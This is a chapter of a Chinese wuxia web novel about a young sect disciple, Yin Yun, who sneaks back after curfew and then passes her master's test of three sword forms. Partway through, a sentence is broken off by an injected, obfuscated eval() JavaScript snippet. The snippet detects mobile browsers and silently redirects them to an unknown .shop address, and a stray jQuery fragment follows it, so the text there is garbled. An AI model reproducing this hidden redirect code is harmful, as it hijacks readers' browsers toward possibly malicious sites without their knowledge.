至夏轩。
烛火仍明。
殷氲推门而入,只见着着单薄里衣的人影快速向她靠近,飞扑过来。
“小四你跑哪儿去了?担心死我了!”应萱搂着她的脖子,“下次不许这么晚回来,听到没。”
殷氲轻抚大师姐的背,道:“知道了师姐,没有下次了。”
“等等。”应萱像是突然记起了什么,“你不会是翻墙进来的吧,有没有被巡逻的弟子抓住?快让师姐看看有没有受伤。”
殷氲配合着她的检查:“师姐我没事,也没有翻墙进来,放心好了。不过——就苦了祁师兄了。他被巡逻的弟子抓了,刚巧不巧师父也在,估计要受罚了。”
“祁谢昭?是他把宵禁令给了你,然后自己偷遛翻墙进来?他竟然如此义气,真是少见。”应萱立刻猜到了事情的走向,“小四你可别担心他,这小子早就欠收拾了,正好借此机会长长记性。不过啊,你今后可要多提防着他,今日能使出此招,以这家伙为人来日定会报复回来。好了好了,总之你没事就好,先去洗漱吧。”
殷氲应了,很快洗漱归来。
明烛吹灭,唯留月光。
她右手枕在头下,左手举在空中随意乱画,回想起今晚发生的一切。
“祁……谢昭。”
殷氲滑写着空气,下意识发出了气音。等反应过来时,她慌张地撇过头看向师姐的床铺。
还好,没吵醒。
她垂下左手,手背搭在额上,陷入了沉思。
山澈居。
灯火已暗,了无动静。
祁谢昭正在气头上,不愿进屋吵了熟睡的二师兄,便捡了根落在地上的细长残枝,练起了剑法。
这是独属于秘密刺客的剑法。
目前只有六位弟子拥有该剑谱。
但听闻小师妹今日说师父让她看书,那么现在就有七位弟子知晓这些独门剑招了。
断枝划破宁静的空气,发出“哗哗”的声响,好在声音不大,无人因此醒来。
祁谢昭右手斜举树枝,左手扶地,利落的扫腿一周,衣尾飘起,震起粒粒碎石,扬起泥沙尘灰。接着迅速背剑,右腿发力,从侧压腿形态一瞬直立,向后撤步下腰的同时,抬手贴着上身逆时针旋绕一周,然后往左侧甩去,割开仿佛凝结成冰幕帘的空气。
唰!
有力的舞枝声宛如一记爆炸,惊飞了漆夜临时停歇于树干上的雀鸟,也惊醒了屋内睡觉的二师兄。
星两烛光亮起,韶华匆匆披了件外衣便推门查看情况。要不是一眼就看见了拿着断枝练习的祁谢昭,他还以为平瀚派进了胆大包天的贼人。
祁谢昭寻动静望去,收了招式,装作一副乖巧的模样,带着笑容问:“师兄,怎么了?”
“臭小子大半夜练什么练,快回屋睡觉!”韶华不禁扯紧衣领,有些烦躁的喊道。
“好的师兄。”祁谢昭随手扔了断枝,来到韶华身旁,推着他进屋,“师兄,我跟你说件事,你可千万别生气,行吗?”
听到这话,方才在睡意中昏沉的韶华,顿时清醒过来,开启了一级戒备:“你不会又闯祸了吧。”
祁谢昭“嘿嘿”笑着,如连环炮一般说了一长串狡辩话语:“是这样的师兄,我本来是想请小师妹出去吃顿好的,好好待她,顺便弥补一下我之前的不当行为。但是,恰好不好忘记了宵禁时间,我呢,作为一个发了誓要跟小师妹友好相处的师兄,就把宵禁令给了她,自己打算翻墙偷溜进来。可谁知道我今天运气怎么就这么背,刚落地便被两个眼尖的巡逻弟子发现了。明明从来没发现过的!这还不是最背的,你猜谁来了。没错就是门派中那位最为心狠手辣的男人,他让我明天去领十鞭,并且要师兄你亲自执鞭。”
韶华听得头疼,揉着太阳穴,不觉深吸了两口气,平复自己的情绪:“行了,我知道了。臭小子一天到晚净给我惹事,什么时候才能让人省点心。提前跟你说好,我明天可不会手下留情的,上次不是抢着要帮别人挡鞭的吗,这次让你享受个够。”
“别别别。”祁谢昭边求饶边关上屋门,“师兄,好师兄!”
翌日。
韶华言出必行,完全没有收着力,十鞭下去,祁谢昭如同患有残疾的病人,趴在地上痛得直叫唤,恨不得让整个门派的弟子都听到。最后,实在丢人,韶华骂骂咧咧的把他架在在肩上背回山澈居。
同日,殷氲未出至夏轩,一直翻看着师父布置下来的阅读书目。即便看得头晕眼花,意识朦胧,也终是强撑到了最后。
第三日。
是祁听验收殷氲看书情况的日子。
殷氲顶着乌青的眼圈,打着哈欠,合上最后一本书。
她已经学了一天一夜了,若不是应萱采取强制措施硬逼着她在昨日小睡了一会儿,这副弱身子怕是撑不到现在。
她扛着困意整夜未曾合眼,终于赶在师父进门前的那刻读完了二十六本书。
“小师妹,喝点茶提提神吧。”应萱陪着小师妹也起了个大早,给她沏了杯刚泡好的茶,“慢点喝,小心烫。”
“谢谢师姐。”回答之时,殷氲不受控制地闭上了双眼,垂下准备拿起茶杯的手。
“小四,学得怎么样?”
这时,师父的声音从屋外传来。
殷氲的心脏似乎被人狠狠抓了一下,疼的她张嘴倒吸一气,但是头脑依旧晕沉,直到祁听在她面前站定,才彻底寻回到处游荡的意识。
“师父早上好。”她赶忙起身行礼,却一阵天旋地转,险些跌倒,幸而撑住了。
祁听坐下,接过应萱沏的茶,浅珉了口道:“小四啊,你不必紧张,这个抽查很简单,只需做几个动作便好。”
他吹了吹热茶,喝下一口,继续道:“看你这幅憔悴的样子,莫不是晚上通宵了?小四啊,这还需要为师亲口提醒吗?不管是多么紧急的事,身体是永远第一位,下不为例。”
他放下茶杯:“好了,为师也知道这项任务是有些强人所难了,如果你能完成这三招,便算你通过检查了。”
殷氲合眸轻摇脑袋,试图让自己眼前的景象不再重影乱晃,并努力压下有气无力的声线,回道:“多谢师父。”
“拿着剑跟为师出来。”祁听饮尽最后一口温茶,向至夏轩屋前的空地走去。
此时,天未明,星月仍在,冬日清晨的凉风无比寒凉且刺骨,殷氲一时没适应屋外的温度,鼻子一痒,连打了三个喷嚏。
“神保佑你。”
喷嚏一停,祁听就接道。
“准备好了吗?”他退开几步,与小四保持一定的距离,以防被误伤。
“师父,可以开始了。”
殷氲一手执剑,一手握鞘,时刻准备出招。
“《倾诀》第四招、第十七招和第二十八招。”
应萱在屋前一愣:最难剑法?真是的,师父又开始为难小师妹了,上次是山枯阵,这次又是《倾诀》。
不久前,殷氲恰好看完的便是《倾诀》。
考前押中题目的感觉可
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17637327|205830||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
不是一般的好,先前的焦虑与不安皆化作烟云散去,她甚至觉得现在的自己浑身都充满了力量,能够绕山脚跑个好几圈。
殷氲抛起剑鞘,向后仰身,接着左手扶地借力,斜踢飞出,站稳点同时接住了下落的鞘。她两手轻震,反持着剑柄与剑鞘,双臂交叉放于胸前,右臂用力向身后挥去,带动着整个身子翻转,然后俯身往脚踝的高度砍去。剑鞘插地,核心发力,一个完美的空翻落地,斜挥剑指于天。长剑滞空,紧接一个燕式跳,并用鞋尖踢到剑柄,剑刃劈风,她双腿竖滑出去,在贴至地面之时,正如殷氲行动前计算的那般,剑柄分毫不差地落在了手中。
青丝飘扬,衣摆飞舞,剑刃破空,剑鞘呼应。
三个招式一气呵成,丝毫没有拖泥带水。
或许是伤还未完全痊愈的缘故,殷氲在出完这几招后腿脚发软,脱了力,跪坐在地上。她面色发白,头冒虚汗,捂着胸口大喘气起来。
心,跳得好快。
身体素质还是太差了。
才三招竟耗尽了我大半气力。
“好,好,太好了。”祁听赞许地鼓起了掌,满意的笑道,“小四,恭喜通过了本次检查。从今日起,你便正式成为秘密刺客的一员了。未来的路还有很长,为师希望你能不忘初心,忠于国家,忠于自己,顺利通过今后的考核,并出色地完成每一次任务。”
殷氲收起剑,直起身来,单膝跪地,顺手拍去衣裳上的尘土,欠身执剑行礼道:“弟子定不负师父所望。”
“今日练习就免了吧,你好好休息,明日起,应萱会带你进行相应的特殊训练。”
交代完毕后,祁听踏步离开。
应萱激动地冲过来抱住殷氲,差点将她冲倒:“太好了小师妹,恭喜你成功加入!从此以后我们就是秘密七人组了!”
心腔猛烈撞击的声音久久在殷氲耳畔回荡,宛如是存在的唯一真实凭证。她不敢相信自己竟会如此顺利地通过了检查,更不可置信的是这份许久都未曾有过的喜悦。
这一切都容易的不真实。
我做到了,我做到了……!
天似乎明了。
橙红的阳辉扯下黑夜的帷幕,拼命将其挤下,欲图尽快占领整个天空。星月不服白阳的到来,依旧高悬于空,闪耀着独属于自己的、无法被掠夺走的光芒。
“小四,还傻站着干什么,赶紧回屋补觉去。”应萱催促道。
“好。”殷氲敛回心绪,回到至夏轩。
原以为自己不会沾枕就睡,而事实则恰恰相反,她还没走到床边就快进入睡眠状态了,要不是应师姐在旁边看着,估计额头上将会凭空出现一个超级大包了。
“好好睡吧。”应萱替她脱去鞋子,掖好被子,轻轻关上房门,前去晨练。
即便天才蒙蒙亮,练习场已经聚集了不少晨练的弟子,甚至连昨天装残的祁谢昭也在。
“哟,太阳打西边出来了。祁谢昭,竟然有一天能在早上看见你。”一个侧边梳着编发、走路吊儿郎当的弟子边咬着嘴里的草梗,边向正在练功的祁谢昭靠近。
“白汲你有病吧,关你什么事!”祁谢昭一听到这人的声音,心里突然蹿起火来,“看来是师父罚轻了,看样子还要在多上几天才行。”
他呛着对方,语气里满是挑衅。
“我想,该被师父好好教育教育的人是你才对吧!”白汲瞬间怒了,揪住祁谢昭的衣领,抬起巴掌正准备让他好看,却因一声怒喝停下了动作。
“住手!”